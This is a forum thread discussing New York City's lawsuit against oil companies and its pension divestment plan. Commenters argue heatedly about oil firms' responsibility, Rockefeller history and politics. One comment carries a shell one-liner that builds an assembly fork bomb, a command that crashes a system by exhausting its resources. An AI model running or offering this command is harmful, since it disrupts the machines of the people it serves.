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NYC Sues Oil Companies Over Climate Change (theguardian.com)
An anonymous reader quotes a report from The Guardian: New York City is seeking to lead the assault on both climate change and the Trump administration with a plan to divest $5 billion from fossil fuels and sue the world's most powerful oil companies over their contribution to dangerous global warming. City officials have set a goal of divesting New York's $189 billion pension funds from fossil fuel companies within five years in what they say would be "among the most significant divestment efforts in the world to date." Currently, New York City's five pension funds have about $5 billion in fossil fuel investments. New York state has already announced it is exploring how to divest from fossil fuels. New York's Mayor, Bill de Blasio, said that the city is taking the five fossil fuel firms -- BP, Exxon Mobil, Chevron, ConocoPhillips and Shell -- to federal court due to their contribution to climate change.
Court documents state that New York has suffered from flooding and erosion due to climate change and because of looming future threats it is seeking to "shift the costs of protecting the city from climate change impacts back on to the companies that have done nearly all they could to create this existential threat." The court filing claims that just 100 fossil fuel producers are responsible for nearly two-thirds of all greenhouse gas emissions since the industrial revolution, with the five targeted companies the largest contributors. The case will also point to evidence that firms such as Exxon knew of the impact of climate change for decades, only to downplay and even deny this in public.
Court documents state that New York has suffered from flooding and erosion due to climate change and because of looming future threats it is seeking to "shift the costs of protecting the city from climate change impacts back on to the companies that have done nearly all they could to create this existential threat." The court filing claims that just 100 fossil fuel producers are responsible for nearly two-thirds of all greenhouse gas emissions since the industrial revolution, with the five targeted companies the largest contributors. The case will also point to evidence that firms such as Exxon knew of the impact of climate change for decades, only to downplay and even deny this in public.
Gotta start somewhere.
The decedents of John D Rockefeller have been applying pressure to ExxonMobil over their knowledge of climate change research from decades ago.
The tide will eventually turn against the fossil companies, and if any of them have been covering up their knowledge of climate change, you can bet they'll get taken to cleaners sooner or later.
The problem and its impacts are getting to the point where it cant be ignored.
That's kind of what I was thinking. These idiots are suing the oil companies and yet they are some of the biggest contributors to pollution while they happily use oil to power all of their shit.
Absolutely fucking ridiculous. They can't blame someone for wrongdoing while they themselves benefited from the use of their products without a care in the world until now.
Wrong. They'll settle this in 3-4 for less than it will cost to fix the pending apocalypse, (quadrillions) and then we'll all begin to suffer as an ecosystem over centuries until we're predominantly fungal and microflora in a toxic stew. Drain the swamp, indeed.
although staling until a favorable administration was in place did.
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And then, because overfishing is bad, NYC should ban fish sales and consumption, right?
Any sufficiently unpopular but cohesive argument is indistinguishable from trolling.
For most wealthy companies, you would be right. But we aren't talking about most wealthy companies, we are talking about the descendants of J.D. Rockefeller's Standard Oil.
As such, they are not rich because people want to use their product. They are rich because J.D. Rockefeller committed more crimes than pretty much any other 1% ever.
He made secret deals with railroads to prevent them from shipping other companies oil. He spied on his competitors, passing out bribes left and right. When congress tried to break up his illegal monopoly, he hid from the subpoena for YEARS. They illegally bought up cheap public light rail and shut them down, replacing it with more expensive, oil burning buses.
Any other company, I would say, yes, being rich does not mean you are guilty. Most wealthy people are not evil. But the oil companies have a history just as bad, if not worse, than big tobacco.
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You know oil companies pay 30-40% royalties on oil leases, on top of corporate taxes. 3 of the top 10 taxpayers are oil firms.
Even if they underpaid royalties (I doubt it), that doesn't help them without a robust demand for their product.
Soo... what do you expect then? An immediate halt to the world's oil supply? That would be the overnight death of NYC. And if we never had it to begin with, we'd all be shitting in outhouses right now while the rest of the world modernized, while New York is stuffed with 5 tons of horse shit per 10 square feet.
That's just a lawsuit that will never be won. Nonetheless, how much will their legal team cost?
Marxism said that capitalism was bound to collapse due to the 'tendency of the rate of profit to fall' and that a planned economy was the inevitable future.
Environmentalism says that capitalism is bound to collapse due to environmental damage and that a planned economy was the inevitable future.
It's no coincidence that at the end of the Cold War when Communism collapsed in the USSR and Eastern Europe and the Marxist notion that capitalism was doomed lost credibility a lot of people who saw themselves as future economic planners decided to adopt environmentalism instead of marxism as a justification. In fact Marxism never really went away - rather than the bourgeoisie oppressing the proletariat it mutated to be {whites, men, straight people} oppressing {non whites, women, LBGT people}. Amusingly the people who believe this tend to be much more bourgeoise than the ones who don't.
As Brendan O'Neill put it AntiFa activism has become the bourgeoisie 'getting a bus into town and punching a working class Trump supporter in the face'
https://westernfreepress.com/2...
[Brendan O'Neill] - I don't understand what's wrong with having principles especially on freedom of speech. You should have principles on freedom of speech and also there isn't this neat divide between principles and practical everyday life, they inform each other and that's the example I gave, of in Britain, where we have public order legislation that can ban a march and that came in as a consequence of the refusal of the left to defend free speech and freedom of association for Nazis. These have consequences. If you give up your principles, it has devastating consequences in everyday life. I think I disagree, but I think this is entirely about freedom of speech. I think that is the issue in relation to all of this stuff. I think freedom of speech is the foundational freedom, it's the freedom that makes everything else possible, it's the freedom, the right to vote, the right to association, the right to political organization, none of those make any sense or are even workable without freedom of speech, without the right to say what you want to publish, what you want to distribute, so the fact that there is a new left or students or society in general that is increasingly uncomfortable with freedom of speech should concern us enormously and you know in relation to antifa, antifa poses as this kind of radical lefty, kind of you know like the International Brigades that went off to fight the fascists in Spain, do me a favor, the antifa is a bourgeois, censorious, shrill anti-democratic, anti-working class. For George Orwell, anti-fascism meant going to Spain and risking your life to kill actual fascist. For antifa, it means getting a bus into town and punching a working class Trump supporter in the face, that's not the same thing.
I.e. the new form of Marxism has invented the class alignment of the original one. Now the idle rich are the good guys and the working classes are sexistracisthomophobes. Who - horror of horrors - emit CO2 because they have actual jobs.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Amen.
This is like suing the farmer for providing you food.
If not for Oil and the derived products, these fuckers would still be shoveling horse shit and burning candles for light and wood for fuel.
What the Oil companies should do is simply boycott NYC. Stop all deliveries of fuel oil, natural gas and gasoline.
When Fascism comes to America, it will call itself Anti-Fascism, and tell you to give up your guns.